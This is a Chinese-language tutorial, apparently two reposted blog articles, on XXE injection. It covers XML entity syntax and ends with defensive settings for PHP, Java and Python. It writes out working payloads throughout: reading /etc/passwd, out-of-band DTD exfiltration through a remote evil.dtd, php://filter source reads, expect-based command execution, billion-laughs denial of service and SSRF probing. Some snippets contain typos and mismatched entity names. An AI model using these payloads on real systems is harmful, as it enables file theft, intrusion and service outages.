XXE注入攻击与防御
在研究XXE注入攻击之前先了解一下什么是XXE
定义
XML用于标记电子文件使其具有结构性的标记语言，可以用来标记数据、定义数据类型，是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义（可选）、文档元素。
文档结构
XML文档结构包括XML声明、DTD文档类型定义（可选）、文档元素。
<!--XML声明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>
DTD
XML文档结构包括XML声明、DTD文档类型定义（可选）、文档元素。
内部声明DTD:
<!DOCTYPE 根元素 [元素声明]>
引用外部DTD:
<!DOCTYPE 根元素 SYSTEM "文件名">
DTD中的一些重要的关键字：
- DOCTYPE（DTD的声明）
- ENTITY（实体的声明）
- SYSTEM、PUBLIC（外部资源申请）
实体类别介绍
实体主要分为一下四类
- 内置实体 (Built-in entities)
- 字符实体 (Character entities)
- 通用实体 (General entities)
- 参数实体 (Parameter entities)
参数实体用%实体名称申明，引用时也用%实体名称;
其余实体直接用实体名称申明，引用时用&实体名称。
参数实体只能在DTD中申明，DTD中引用；
其余实体只能在DTD中申明，可在xml文档中引用。
举例：
内部实体
<!ENTITY 实体名称 "实体内容">
外部实体
<!ENTITY 实体名称 SYSTEM "URI">
参数实体
<!ENTITY % 实体名称 "实体内容">
或者
<!ENTITY % 实体名称 "URI">
注意：参数实体是在DTD中被引用的，而其余实体是在xml文档中被引用的。
外部实体
默认协议
PHP扩展协议
举例：
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [<!ENTITY passwd "file:///etc/passwd">]>
<foo>
<value>&passwd;</value>
</foo>
0x02 XXE漏洞
XXE就是XML外部实体注入。当允许引用外部实体时，通过构造恶意内容，可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。
举例
- 恶意引入外部实体(1)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [<!ENTITY passwd SYSTEM "file:///etc/passwd">]>
<a>
<value>&passwd;</value>
</a>
- 恶意引入外部实体(2)
**XML内容**
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY % f SYSTEM "http://www.m03.com/evil.dtd">
%d;
]>
<aaa>&b;</aaa>
DTD文件内容
<!ENTITY b SYSTEM "file:///etc/passwd">
- 恶意引入外部实体(3)
XML文件内容
<?xml verstion="1.0" encoding="utf-8"?>
<!DOCTYPE a[
<!ENTITY f SYSTEM "http://www.m03.com/evil.dtd">
]>
<a>&b;</a>
DTD文件内容
<!ENTITY b SYSTEM "file:///etc/passwd">
XXE的危害
- 读取任意文件
- 有回显
XML.php
<?php
$xml = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>
访问XML.php可以读取etc/passwd文件内容
- 无回显
当页面没有回显的话，可以将文件内容发送到远程服务器，然后读取。
<?xml verstion="1.0" encoding="utf-8"?>
<!DOCTYPE a[
<!ENTITY % f SYSTEM "http://www.m03.com/evil.dtd">
%f;
]>
<a>&b;</a>
$data = simplexml_load_string($xml);
print_r($data);
远程服务器的evil.dtd文件内容
<!ENTITY b SYSTEM "file:///etc/passwd">
- 命令执行
php环境下，xml命令执行要求php装有expect扩展。而该扩展默认没有安装。
<?php
$xml = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "except://ls">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>
- 内网探测/SSRF
由于xml实体注入攻击可以利用http://协议，也就是可以发起http请求。可以利用该请求去探查内网，进行SSRF攻击。
0x03 XXE漏洞修复与防御
1，使用开发语言提供的禁用外部实体的方法
PHP
libxml_disable_entity_loader(true);
JAVA
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
2，过滤用户提交的XML数据
过滤关键词：<!DOCTYPE和<!ENTITY，或者SYSTEM和PUBLIC。
下面是XXE注入攻击与防御
0x00 前言
XXE Injection即XML External Entity Injection,也就是XML外部实体注入攻击.漏洞是在对非安全的外部实体数据进⾏行处理时引发的安全问题.
在XML1.0标准⾥里,XML文档结构⾥里定义了实体(entity)这个概念.实体可以通过预定义在文档中调用,实体的标识符可访问本地或远程内容.如果在这个过程中引入了”污染”源,在对XML文档处理后则可能导致信息泄漏等安全问题.
0x01 威胁
XXE漏洞目前还未受到广泛关注,Wooyun上几个XXE引起的安全问题:
- pull-in任意文件遍历/下载
- 从开源中国的某XXE漏洞到主站shell
- 百度某功能XML实体注入
- 百度某功能XML实体注入（二）
借助XXE,攻击者可以实现任意文件读取,DOS拒绝服务攻击以及代理扫描内网等.
对于不同XML解析器,对外部实体有不同处理规则,在PHP中默认处理的函数为: xml_parse和simplexml_load
xml_parse的实现方式为expat库，默认情况不会解析外部实体,而simplexml_load默认情况下会解析外部实体,造成安全威胁.除PHP外，在Java，Python等处理xml的组件及函数中都可能存在此问题
0x02 语法
要写Payload,首先要对XML实体语法有一定了解
XML中entity的定义语法为:
[
<!ENTITY entity-name "entity-content"
]>
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<!DOCTYPE filename
[
<!ENTITY entity-name "entity-content"
]>
|
如果要引用一个外部资源,可以借助各种协议 几个例子:
http://url/file.ext
php://filter/read=convert.base64-encode/resource=conf.php
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file:///path/to/file.ext
http://url/file.ext
php://filter/read=convert.base64-encode/resource=conf.php
|
故构造几种简单的Payload模型如下:
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>
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<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>
|
亦可读取网站内容
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "http://attacker.com/text.txt" >]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>
|
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|
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "http://attacker.com/text.txt" >]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>
|
如果包含文件失败,可能是由于读取php等文件时文件本身包含的<等字符.可以使用Base64编码绕过,如:
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php" >]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>
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<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php" >]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>
|
0x03 攻击
借助XXE,有几种可用且公开的攻击方式:
拒绝服务
POC
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]>
<lolz>&lol9;</lolz>
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<?xml version = "1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]>
<lolz>&lol9;</lolz>
|
POC中中先定义了lol实体，值为”lol”的字符串,后在下面又定义了lol2实体，lol2实体引用10个lol实体，lol3又引用了10个lol2实体的值，依此类推，到了最后在lolz元素中引用的lol9中，就会存在上亿个”lol”字符串此时解析数据时未做特别处理，即可能造成拒绝服务攻击。
此外还有一种可能造成拒绝服务的Payload,借助读取/dev/random实现.
内网信息
借助各种协议如http,XXE可以协助扫描内网,可能可以访问到内网开放WEB服务的Server,并获取其他信息
文件读取
最常规也是最有效的利用思路
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>
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<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>
|
附上两张截图,实现文件读取的过程
0x04 防御
1.检查所使用的底层xml解析库，默认禁止外部实体的解析
2.使用第三方应用代码及时升级补丁
3.同时增强对系统的监控，防止此问题被人利用
对于PHP,由于simplexml_load_string函数的XML解析问题出在libxml库上,所以加载实体前可以调用这样一个函数
libxml_disable_entity_loader(true);
?>
以进行防护,对于XMLReader和DOM方式解析,可以参考如下代码:
<?php
// with the XMLReader functionality:
$doc = XMLReader::xml($badXml,'UTF-8',LIBXML_NONET);
// with the DOM functionality:
$dom = new DOMDocument();
$dom->loadXML($badXml,LIBXML_DTDLOAD|LIBXML_DTDATTR);
?>>
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<?php
libxml_disable_entity_loader(true);
?>
以进行防护,对于XMLReader和DOM方式解析,可以参考如下代码:
<?php
// with the XMLReader functionality:
$doc = XMLReader::xml($badXml,'UTF-8',LIBXML_NONET);
// with the DOM functionality:
$dom = new DOMDocument();
$dom->loadXML($badXml,LIBXML_DTDLOAD|LIBXML_DTDATTR);
?>>
|
0x05 参考
https://www.owasp.org/index.php/Testing_for_XML_Injection_(OWASP-DV-008)
http://websec.io/2012/08/27/Preventing-XEE-in-PHP.html
http://cn2.php.net/libxml_disable_entity_loader
http://projects.webappsec.org/w/page/13247004/XML%20Injection
http://drops.wooyun.org/papers/1911
转载--http://www.91ri.org/9539.html
http://www.jianshu.com/p/7325b2ef8fc9
任重而道远！
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